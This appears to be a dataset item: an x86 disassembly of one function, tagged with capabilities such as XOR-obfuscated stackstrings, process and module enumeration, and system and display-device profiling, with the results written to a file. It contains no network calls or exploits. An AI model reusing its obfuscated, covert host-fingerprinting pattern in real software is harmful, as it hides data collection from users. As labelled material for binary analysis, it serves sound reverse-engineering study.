Function at 0x100d0be0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Create thread
Encode data using xor
Enumerate gui resources
Enumerate process modules
Get file attributes
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101805d2
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x14dc
call fcn.10121bf0
mov eax, dword [0x101dadb0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x1404], edi
push 0x100d0b00
mov dword [ebp - 0x1168], 0
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.100020f0
mov dword [0x1027bff4], eax
mov eax, dword [0x1027c03c]
test eax, eax
jne 0x100d0c60
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x1027c03c], eax
cmp dword [0x1027bfb8], 0
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
jne 0x100d0c80
push 0
push 4
push 0x1027bfb8
push 0xf3e860
push eax
call esi
mov dword [ebp - 0x14c8], 0x101bfdf8
mov dword [ebp - 0x1458], 0
mov dword [ebp - 0x1438], 0
mov dword [ebp - 0x1434], 0
mov dword [ebp - 0x1430], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1460]
mov eax, 1
mov dword [ebp - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov dword [ebp - 0x1408], eax
mov dword [ebp - 0x1168], eax
lea eax, [ebp - 0x14c4]
push 0
push eax
mov dword [ebp - 0x1464], 0x60
call fcn.10048780
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x14c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x14c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x14cc], eax
lea ecx, [ebp - 0x14c4]
call fcn.10048170
mov cl, 0x18
mov dword [ebp - 4], 3
mov al, 0x44
mov byte [ebp - 0x13fc], cl
xor al, cl
mov byte [ebp - 0x13fa], 0
mov byte [ebp - 0x13fb], al
lea ecx, [ebp - 0x1184]
lea eax, [ebp - 0x13fb]
mov byte [ebp - 0x13fa], 0
push eax
call fcn.10047780
cmp dword [ebp - 0x116c], 0x10
lea eax, [ebp - 0x1180]
cmovae eax, dword [ebp - 0x1180]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100d0d8d
mov byte [ebp - 0x13fc], 1
jmp 0x100d0d9a
shr al, 4
not al
and al, 1
mov dword [ebp - 0x13fc], eax
lea ecx, [ebp - 0x1184]
call fcn.100448c0
mov eax, dword [ebp - 0x116c]
cmp eax, 0x10
jb 0x100d0dc0
inc eax
push eax
push dword [ebp - 0x1180]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x1184]
push 8
push eax
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
mov dword [ebp - 0x1184], 0
call fcn.10049010
add esp, 8
cmp byte [ebp - 0x13fc], 0
je 0x100d0e2e
mov cl, 0x3c
mov byte [ebp - 0x13fa], 0
mov al, 0x60
mov byte [ebp - 0x13fc], cl
xor al, cl
mov byte [ebp - 0x13fa], 0
mov byte [ebp - 0x13fb], al
lea eax, [ebp - 0x13fb]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dl, 0x3f
mov dword [ebp - 0x1194], 0x5156633f
mov dword [ebp - 0x1190], 0x53604b56
xor ecx, ecx
mov dword [ebp - 0x118c], 0x4b115850
mov word [ebp - 0x1188], 0x4b47
mov byte [ebp - 0x1186], 0
lea eax, [ebp - 0x1193]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x100d0e77
mov dl, byte [ebp - 0x1194]
jmp 0x100d0e60
push ecx
push 2
lea eax, [ebp - 0x1193]
mov byte [ebp - 0x1186], 0
push eax
lea ecx, [ebp - 0x14c4]
call fcn.10048030
test eax, eax
lea ecx, [ebp - 0x14c8]
mov eax, dword [ebp - 0x14c8]
mov eax, dword [eax + 4]
je 0x100d0eb7
add ecx, eax
xor edx, edx
mov eax, 4
cmp dword [ecx + 0x38], edx
cmovne eax, edx
jmp 0x100d0ecb
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push 0
push eax
call fcn.10045450
push 0
push 0x101b8c74
lea ecx, [edi + 0x1a0]
call fcn.10048350
xor ecx, ecx
mov byte [edi + 0x1dd], 0
push ecx
push 1
lea eax, [edi + 0x1dd]
mov dword [edi + 0x1d0], 0
push eax
mov dword [edi + 0x1cc], 0
mov dword [edi + 0x1c0], 0
mov dword [edi + 0x1d4], 0
mov word [edi + 0x1db], 0
mov word [edi + 0x1d8], 0
mov word [edi + 0x22c], cx
mov dword [edi + 0x230], ecx
mov dword [edi + 0x234], ecx
mov eax, dword [0x1027bfb8]
add eax, 0xce8
push eax
push dword [0x1027c03c]
call esi
lea edx, [ebp - 0x1400]
mov dword [edi + 0x1bc], 1
lea ecx, [ebp - 0x13fc]
mov dword [ebp - 0x1400], 0
call fcn.100baca0
movzx eax, word [ebp - 0x1400]
movzx ecx, word [ebp - 0x13fc]
movaps xmm0, xmmword [0x101c2e40]
add ecx, eax
mov dword [edi + 0x228], ecx
xor ecx, ecx
mov dword [ebp - 0x13f8], 0x1a8
mov dword [ebp - 0x1400], 0
movups xmmword [ebp - 0x11f0], xmm0
mov dword [ebp - 0x11e0], 0x7f6c6964
mov dword [ebp - 0x11dc], 0x25626b6c
mov word [ebp - 0x11d8], 0x2828
mov byte [ebp - 0x11d6], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x11f0]
xor byte [ebp + ecx - 0x11ef], al
inc ecx
cmp ecx, 0x19
jb 0x100d0fe0
lea edx, [ebp - 0x11ef]
mov byte [ebp - 0x11d6], 0
lea ecx, [ebp - 0x14c8]
call fcn.100df9b0
push eax
call fcn.100dfc50
add esp, 4
lea eax, [ebp - 0x13f8]
push 0
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x100d14fa
lea eax, [edi + 0x1e8]
mov dword [ebp - 0x1168], eax
nop dword [eax + eax]
push eax
lea ecx, [ebp - 0x11e8]
call fcn.100dc930
mov byte [ebp - 4], 4
lea eax, [ebp - 0x140d]
push 8
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 0
mov dword [ebp - 0x11ac], 0
mov dword [ebp - 0x11a8], 0
mov dword [ebp - 0x1414], eax
call fcn.10048f80
lea ecx, [ebp - 0x11c0]
mov dword [ebp - 0x1418], eax
add esp, 4
mov dword [eax], ecx
mov dword [eax + 4], 0
mov dword [ebp - 0x11c0], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x13d4]
mov dword [ebp - 0x11ac], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x11a8], 0xf
mov byte [ebp - 0x11bc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d10d1
sub ecx, edx
lea eax, [ebp - 0x13d4]
push ecx
push eax
lea ecx, [ebp - 0x11c0]
call fcn.10048350
mov dword [ebp - 0x1418], 0
mov byte [ebp - 4], 7
mov esi, dword [ebp - 0x11e4]
mov edi, dword [ebp - 0x11e0]
cmp esi, edi
je 0x100d11c8
nop
push esi
lea ecx, [ebp - 0x1184]
call fcn.10047950
cmp dword [ebp - 0x116c], 0x10
lea eax, [ebp - 0x1180]
push dword [ebp - 0x1170]
cmovae eax, dword [ebp - 0x1180]
lea ecx, [ebp - 0x11bc]
cmp dword [ebp - 0x11a8], 0x10
mov edx, dword [ebp - 0x11ac]
cmovae ecx, dword [ebp - 0x11bc]
push eax
call fcn.10065ca0
add esp, 8
lea ecx, [ebp - 0x1184]
test al, al
jne 0x100d13bb
call fcn.100448c0
mov eax, dword [ebp - 0x116c]
cmp eax, 0x10
jb 0x100d1187
inc eax
push eax
push dword [ebp - 0x1180]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x1184]
push 8
push eax
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
mov dword [ebp - 0x1184], 0
call fcn.10049010
add esi, 0x1c
add esp, 8
cmp esi, edi
jne 0x100d1110
lea ecx, [ebp - 0x11e8]
call fcn.100482d0
mov eax, dword [ebp - 0x11e8]
push 8
push eax
mov dword [ebp - 0x11e8], 0
call fcn.10049010
add esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x11c0]
call fcn.100448c0
mov eax, dword [ebp - 0x11a8]
cmp eax, 0x10
jb 0x100d1218
inc eax
push eax
push dword [ebp - 0x11bc]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x11c0]
push 8
push eax
mov dword [ebp - 0x11ac], 0
mov dword [ebp - 0x11a8], 0xf
mov byte [ebp - 0x11bc], 0
mov dword [ebp - 0x11c0], 0
call fcn.10049010
lea eax, [ebp - 0x13f9]
mov dword [ebp - 0x1184], 0
push 8
mov dword [ebp - 0x1180], 0
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x116c], 0
mov dword [ebp - 0x11c8], eax
call fcn.10048f80
lea ecx, [ebp - 0x1184]
mov dword [ebp - 0x11cc], eax
add esp, 0xc
mov dword [eax], ecx
mov dword [eax + 4], 0
mov dword [ebp - 0x1184], eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x13d4]
mov dword [ebp - 0x1170], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d12d0
sub ecx, edx
lea eax, [ebp - 0x13d4]
push ecx
push eax
lea ecx, [ebp - 0x1184]
call fcn.10048350
mov dword [ebp - 0x11cc], 0
lea eax, [ebp - 0x1184]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1168]
push eax
call fcn.100472b0
lea ecx, [ebp - 0x1184]
mov byte [ebp - 4], 3
call fcn.100448c0
mov eax, dword [ebp - 0x116c]
cmp eax, 0x10
jb 0x100d1336
inc eax
push eax
push dword [ebp - 0x1180]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x1184]
push 8
push eax
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
mov dword [ebp - 0x1184], 0
call fcn.10049010
add esp, 8
mov dword [ebp - 0x1194], 0x7070705d
mov dl, 0x5d
mov dword [ebp - 0x1190], 0x7d707070
mov dword [ebp - 0x118c], 0x67080d1a
xor ecx, ecx
mov word [ebp - 0x1188], 0x7d
nop word [eax + eax]
lea eax, [ebp - 0x1193]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x100d1499
mov dl, byte [ebp - 0x1194]
jmp 0x100d13a0
call fcn.100448c0
mov eax, dword [ebp - 0x116c]
cmp eax, 0x10
jb 0x100d13db
inc eax
push eax
push dword [ebp - 0x1180]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x1184]
push 8
push eax
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
mov dword [ebp - 0x1184], 0
call fcn.10049010
add esp, 8
lea ecx, [ebp - 0x11e8]
call fcn.100482d0
mov eax, dword [ebp - 0x11e8]
push 8
push eax
mov dword [ebp - 0x11e8], 0
call fcn.10049010
add esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x11c0]
call fcn.100448c0
mov eax, dword [ebp - 0x11a8]
cmp eax, 0x10
jb 0x100d1461
inc eax
push eax
push dword [ebp - 0x11bc]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x11c0]
push 8
push eax
mov dword [ebp - 0x11ac], 0
mov dword [ebp - 0x11a8], 0xf
mov byte [ebp - 0x11bc], 0
mov dword [ebp - 0x11c0], 0
call fcn.10049010
add esp, 8
jmp 0x100d14c7
lea edx, [ebp - 0x1193]
mov byte [ebp - 0x1187], 0
lea ecx, [ebp - 0x14c8]
call fcn.100df9b0
lea edx, [ebp - 0x13d4]
mov ecx, eax
call fcn.100df9b0
push eax
call fcn.100dfc50
add esp, 4
mov esi, dword [ebp - 0x1400]
lea eax, [ebp - 0x13f8]
push 0
push eax
inc esi
push esi
push 0
mov dword [ebp - 0x1400], esi
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
mov eax, dword [ebp - 0x1168]
jne 0x100d1040
mov edi, dword [ebp - 0x1404]
push 0
push 0x101b8c74
mov ecx, 0x102adbcc
call fcn.10048350
mov esi, dword [edi + 0x1ec]
mov edi, dword [edi + 0x1f0]
cmp esi, edi
je 0x100d16b5
nop
push esi
lea ecx, [ebp - 0x11c0]
call fcn.10047950
mov byte [ebp - 4], 0xa
mov dl, 0x24
mov dword [ebp - 0x1168], 0x4580424
xor ecx, ecx
mov byte [ebp - 0x1164], 0
lea eax, [ebp - 0x1167]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 3
jae 0x100d155c
mov dl, byte [ebp - 0x1168]
jmp 0x100d1545
lea ecx, [ebp - 0x1167]
mov byte [ebp - 0x1164], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d1570
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x11ac]
sub eax, edx
cmp eax, ecx
jb 0x100d20d7
cmp dword [ebp - 0x11a8], 0x10
lea eax, [ebp - 0x11bc]
push edx
cmovae eax, dword [ebp - 0x11bc]
push eax
push ecx
lea eax, [ebp - 0x1167]
push eax
push ecx
push dword [ebp - 0x140c]
lea ecx, [ebp - 0x1184]
call fcn.10049270
or dword [ebp - 0x1408], 4
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x1180]
cmp dword [ebp - 0x116c], 0x10
mov ecx, 0x102adbcc
push dword [ebp - 0x1170]
cmovae eax, dword [ebp - 0x1180]
push eax
call fcn.10048420
lea ecx, [ebp - 0x1184]
call fcn.100448c0
mov eax, dword [ebp - 0x116c]
cmp eax, 0x10
jb 0x100d1614
inc eax
push eax
push dword [ebp - 0x1180]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x1184]
push 8
push eax
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
mov dword [ebp - 0x1184], 0
call fcn.10049010
add esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x11c0]
call fcn.100448c0
mov eax, dword [ebp - 0x11a8]
cmp eax, 0x10
jb 0x100d1674
inc eax
push eax
push dword [ebp - 0x11bc]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x11c0]
push 8
push eax
mov dword [ebp - 0x11ac], 0
mov dword [ebp - 0x11a8], 0xf
mov byte [ebp - 0x11bc], 0
mov dword [ebp - 0x11c0], 0
call fcn.10049010
add esi, 0x1c
add esp, 8
cmp esi, edi
jne 0x100d1520
lea eax, [ebp - 0x14ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movaps xmm0, xmmword [0x101c18d0]
lea edi, [ebp - 0x11e8]
mov eax, connect
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x11e8], xmm0
pop ebx
mov dword [edi], eax
lea eax, [ebp - 0x58]
mov dword [edi + 4], esi
push 0x40
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov esi, dword [ebp - 0x11e8]
push 0
push eax
mov dword [ebp - 0x1400], esi
call fcn.101234b0
mov edi, connect
add esp, 0xc
cmp esi, edi
jb 0x100d1784
mov eax, edi
xor ecx, ecx
push ebx
cpuid
mov dword [ebp - 0x1168], ebx
pop ebx
lea esi, [ebp - 0x11e8]
mov dword [esi], eax
lea eax, [ebp - 0x11e8]
mov esi, dword [ebp - 0x1168]
mov dword [eax + 4], esi
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
cmp edi, 0x80000002
jne 0x100d1753
movups xmm0, xmmword [ebp - 0x11e8]
movups xmmword [ebp - 0x58], xmm0
jmp 0x100d177b
cmp edi, 0x80000003
jne 0x100d1768
movups xmm0, xmmword [ebp - 0x11e8]
movups xmmword [ebp - 0x48], xmm0
jmp 0x100d177b
cmp edi, reloc.WS2_32.dll_connect
jne 0x100d177b
movups xmm0, xmmword [ebp - 0x11e8]
movups xmmword [ebp - 0x38], xmm0
inc edi
cmp edi, dword [ebp - 0x1400]
jbe 0x100d1713
mov ecx, dword [ebp - 0x14d8]
lea esi, [ebp - 0x11d7]
mov dword [ebp - 0x13fc], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x13fc]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x13fc], eax
test eax, eax
jne 0x100d1796
push ecx
lea eax, [ebp - 0x11d7]
push eax
push esi
lea ecx, [ebp - 0x120c]
call fcn.1004fa40
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x13f9]
push 8
mov dword [ebp - 0x1184], 0
mov dword [ebp - 0x1180], 0
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x116c], 0
mov dword [ebp - 0x11c8], eax
call fcn.10048f80
lea ecx, [ebp - 0x1184]
mov dword [ebp - 0x11cc], eax
add esp, 4
mov dword [eax], ecx
mov dword [eax + 4], 0
mov dword [ebp - 0x1184], eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x1170], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d1860
sub ecx, edx
lea eax, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x1184]
call fcn.10048350
mov dword [ebp - 0x11cc], 0
mov byte [ebp - 4], 0xe
mov dl, 0x11
mov dword [ebp - 0x1168], 0x316d3111
xor ecx, ecx
mov byte [ebp - 0x1164], 0
nop dword [eax]
lea eax, [ebp - 0x1167]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 3
jae 0x100d18b7
mov dl, byte [ebp - 0x1168]
jmp 0x100d18a0
lea ecx, [ebp - 0x1167]
mov byte [ebp - 0x1164], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d18c7
sub ecx, edx
lea eax, [ebp - 0x1167]
push ecx
push eax
lea ecx, [ebp - 0x1184]
call fcn.10048420
mov esi, eax
mov byte [ebp - 4], 0xf
push 8
mov dword [ebp - 0x11a0], 0
mov dword [ebp - 0x119c], 0
mov dword [ebp - 0x118c], 0
mov dword [ebp - 0x1188], 0
call fcn.10048f80
add esp, 4
lea ecx, [ebp - 0x11a0]
mov dword [eax + 4], 0
mov dword [ebp - 0x11a0], eax
push esi
mov dword [eax], ecx
call fcn.10048560
lea eax, [ebp - 0x120c]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x11a0]
push eax
push dword [ebp - 0x140c]
lea ecx, [ebp - 0x123c]
call fcn.100e0ae0
mov byte [ebp - 4], 0x11
mov dl, 0x41
mov dword [ebp - 0x11cc], 0x2e026141
xor ecx, ecx
mov dword [ebp - 0x11c8], 0x32692433
mov word [ebp - 0x11c4], 0x68
nop
lea eax, [ebp - 0x11cb]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 8
jae 0x100d1997
mov dl, byte [ebp - 0x11cc]
jmp 0x100d1980
lea ecx, [ebp - 0x11cb]
mov byte [ebp - 0x11c3], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d19a7
sub ecx, edx
lea eax, [ebp - 0x11cb]
push ecx
push eax
lea ecx, [ebp - 0x123c]
call fcn.10048420
mov esi, eax
mov byte [ebp - 4], 0x12
push 8
mov dword [ebp - 0x11bc], 0
mov dword [ebp - 0x11ac], 0
mov dword [ebp - 0x11a8], 0
call fcn.10048f80
add esp, 4
lea ecx, [ebp - 0x11c0]
mov dword [eax + 4], 0
mov dword [ebp - 0x11c0], eax
push esi
mov dword [eax], ecx
call fcn.10048560
mov esi, dword [ebp - 0x1404]
lea eax, [ebp - 0x11c0]
add esi, 0x1f8
cmp esi, eax
je 0x100d1a5e
mov ecx, esi
call fcn.100448c0
mov eax, dword [esi + 0x18]
cmp eax, 0x10
jb 0x100d1a3e
inc eax
push eax
push dword [esi + 4]
call fcn.10049010
add esp, 8
lea eax, [ebp - 0x11c0]
mov dword [esi + 0x14], 0
push eax
mov ecx, esi
mov dword [esi + 0x18], 0xf
mov byte [esi + 4], 0
call fcn.10048560
lea ecx, [ebp - 0x11c0]
call fcn.100448c0
mov eax, dword [ebp - 0x11a8]
cmp eax, 0x10
jb 0x100d1a84
inc eax
push eax
push dword [ebp - 0x11bc]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x11c0]
push 8
push eax
mov dword [ebp - 0x11ac], 0
mov dword [ebp - 0x11a8], 0xf
mov byte [ebp - 0x11bc], 0
mov dword [ebp - 0x11c0], 0
call fcn.10049010
add esp, 8
lea ecx, [ebp - 0x123c]
call fcn.100448c0
mov eax, dword [ebp - 0x1224]
cmp eax, 0x10
jb 0x100d1ae0
inc eax
push eax
push dword [ebp - 0x1238]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x123c]
push 8
push eax
mov dword [ebp - 0x1228], 0
mov dword [ebp - 0x1224], 0xf
mov byte [ebp - 0x1238], 0
mov dword [ebp - 0x123c], 0
call fcn.10049010
add esp, 8
lea ecx, [ebp - 0x11a0]
call fcn.100448c0
mov eax, dword [ebp - 0x1188]
cmp eax, 0x10
jb 0x100d1b3c
inc eax
push eax
push dword [ebp - 0x119c]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x11a0]
push 8
push eax
mov dword [ebp - 0x118c], 0
mov dword [ebp - 0x1188], 0xf
mov byte [ebp - 0x119c], 0
mov dword [ebp - 0x11a0], 0
call fcn.10049010
add esp, 8
lea ecx, [ebp - 0x1184]
call fcn.100448c0
mov eax, dword [ebp - 0x116c]
cmp eax, 0x10
jb 0x100d1b98
inc eax
push eax
push dword [ebp - 0x1180]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x1184]
push 8
push eax
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
mov dword [ebp - 0x1184], 0
call fcn.10049010
add esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x120c]
call fcn.100448c0
mov eax, dword [ebp - 0x11f4]
cmp eax, 0x10
jb 0x100d1bf8
inc eax
push eax
push dword [ebp - 0x1208]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x120c]
push 8
push eax
mov dword [ebp - 0x11f8], 0
mov dword [ebp - 0x11f4], 0xf
mov byte [ebp - 0x1208], 0
mov dword [ebp - 0x120c], 0
call fcn.10049010
mov eax, dword [ebp - 0x1404]
add esp, 8
cmp dword [eax + 0x210], 0x10
lea edi, [eax + 0x1fc]
jb 0x100d1c45
mov edi, dword [edi]
mov dl, 0x34
mov dword [ebp - 0x1194], 0x19191934
mov dword [ebp - 0x1190], 0x14191919
xor ecx, ecx
mov dword [ebp - 0x118c], 0xe616477
mov word [ebp - 0x1188], 0x14
lea eax, [ebp - 0x1193]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x100d1c87
mov dl, byte [ebp - 0x1194]
jmp 0x100d1c70
lea edx, [ebp - 0x1193]
mov byte [ebp - 0x1187], 0
lea ecx, [ebp - 0x14c8]
call fcn.100df9b0
mov edx, edi
mov ecx, eax
call fcn.100df9b0
push eax
call fcn.100dfc50
add esp, 4
cmp esi, 0x102adaac
je 0x100d1cd2
cmp dword [esi + 0x18], 0x10
lea eax, [esi + 4]
jb 0x100d1cc4
mov eax, dword [eax]
push dword [esi + 0x14]
mov ecx, 0x102adaac
push eax
call fcn.10048350
call fcn.100baaa0
mov edi, dword [ebp - 0x1404]
push 8
mov dword [edi + 0x1e0], eax
mov dword [edi + 0x1e4], edx
call fcn.101207d0
mov esi, eax
add esp, 4
xorps xmm0, xmm0
movq qword [esi], xmm0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x124c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [ebp - 0x1240]
mov dword [esi], eax
mov eax, dword [ebp - 0x1244]
mov dword [esi + 4], eax
lea eax, [ebp - 0x140c]
push eax
push 0x1000
lea eax, [ebp - 0x1160]
mov dword [edi + 0x214], esi
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x100d1fec
mov eax, dword [ebp - 0x140c]
xor edi, edi
shr eax, 2
mov dword [ebp - 0x1408], eax
mov dword [ebp - 0x1168], edi
test eax, eax
je 0x100d1fe6
nop word [eax + eax]
mov eax, dword [ebp + edi*4 - 0x1160]
test eax, eax
je 0x100d1fd3
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100d1fd3
lea eax, [ebp - 0x13fc]
push eax
push 4
lea eax, [ebp - 0x1400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x100d1fd3
push 0x104
lea eax, [ebp - 0x160]
push eax
push dword [ebp - 0x1400]
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
lea ecx, [ebp - 0x1220]
call fcn.100d20e0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x160]
mov eax, dword [ebp + edi*4 - 0x1160]
lea edx, [ecx + 1]
mov dword [ebp - 0x1220], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d1df4
sub ecx, edx
lea eax, [ebp - 0x160]
push ecx
push eax
lea ecx, [ebp - 0x121c]
call fcn.10048350
mov eax, dword [ebp + edi*4 - 0x1160]
mov ecx, 0x102add1c
mov dword [0x1027bf34], eax
call fcn.100448c0
mov edx, dword [0x102add24]
push ecx
mov ecx, dword [0x102add20]
call fcn.10048f20
mov eax, dword [0x102add20]
add esp, 4
mov dword [0x102add24], eax
push 0
push 0x100d0940
call dword [sym.imp.USER32.dll_EnumWindows]
mov esi, dword [0x102add20]
mov edi, dword [0x102add24]
cmp esi, edi
je 0x100d1f2f
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x1184]
call fcn.10047950
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1184]
mov eax, dword [ebp - 0x11f8]
push ecx
cmp eax, dword [ebp - 0x11f4]
je 0x100d1eb8
mov ecx, eax
call fcn.10047950
mov eax, dword [ebp - 0x11f8]
lea ecx, [ebp - 0x1200]
push eax
push eax
call fcn.10048270
add dword [ebp - 0x11f8], 0x1c
jmp 0x100d1ec4
push eax
lea ecx, [ebp - 0x1200]
call fcn.10048d70
lea ecx, [ebp - 0x1184]
mov byte [ebp - 4], 0x13
call fcn.100448c0
mov eax, dword [ebp - 0x116c]
cmp eax, 0x10
jb 0x100d1eee
inc eax
push eax
push dword [ebp - 0x1180]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x1184]
push 8
push eax
mov dword [ebp - 0x1170], 0
mov dword [ebp - 0x116c], 0xf
mov byte [ebp - 0x1180], 0
mov dword [ebp - 0x1184], 0
call fcn.10049010
add esi, 0x1c
add esp, 8
cmp esi, edi
jne 0x100d1e70
mov ecx, dword [ebp - 0x1404]
lea eax, [ebp - 0x1220]
push eax
lea ecx, [ecx + 0x218]
call fcn.100dc730
lea ecx, [ebp - 0x1200]
mov byte [ebp - 4], 3
call fcn.100482d0
mov eax, dword [ebp - 0x1200]
push 8
push eax
mov dword [ebp - 0x1200], 0
call fcn.10049010
add esp, 8
lea ecx, [ebp - 0x121c]
call fcn.100448c0
mov eax, dword [ebp - 0x1204]
cmp eax, 0x10
jb 0x100d1f97
inc eax
push eax
push dword [ebp - 0x1218]
call fcn.10049010
add esp, 8
mov eax, dword [ebp - 0x121c]
push 8
push eax
mov dword [ebp - 0x1208], 0
mov dword [ebp - 0x1204], 0xf
mov byte [ebp - 0x1218], 0
mov dword [ebp - 0x121c], 0
call fcn.10049010
mov edi, dword [ebp - 0x1168]
add esp, 8
inc edi
mov dword [ebp - 0x1168], edi
cmp edi, dword [ebp - 0x1408]
jb 0x100d1d70
mov edi, dword [ebp - 0x1404]
lea ecx, [ebp - 0x14c4]
call fcn.10047f60
test eax, eax
jne 0x100d2026
mov eax, dword [ebp - 0x14c8]
lea ecx, [ebp - 0x14c8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10045450
lea eax, [edi + 0x218]
cmp eax, 0x102adba0
je 0x100d2094
mov esi, dword [eax + 8]
mov edi, dword [eax + 4]
cmp edi, esi
jbe 0x100d2081
push str.transposed_pointer_range
push 0x101b8af8
push 0
push 0x4d6
push 0x101b90d8
push 2
call fcn.10127830
add esp, 0x18
cmp eax, 1
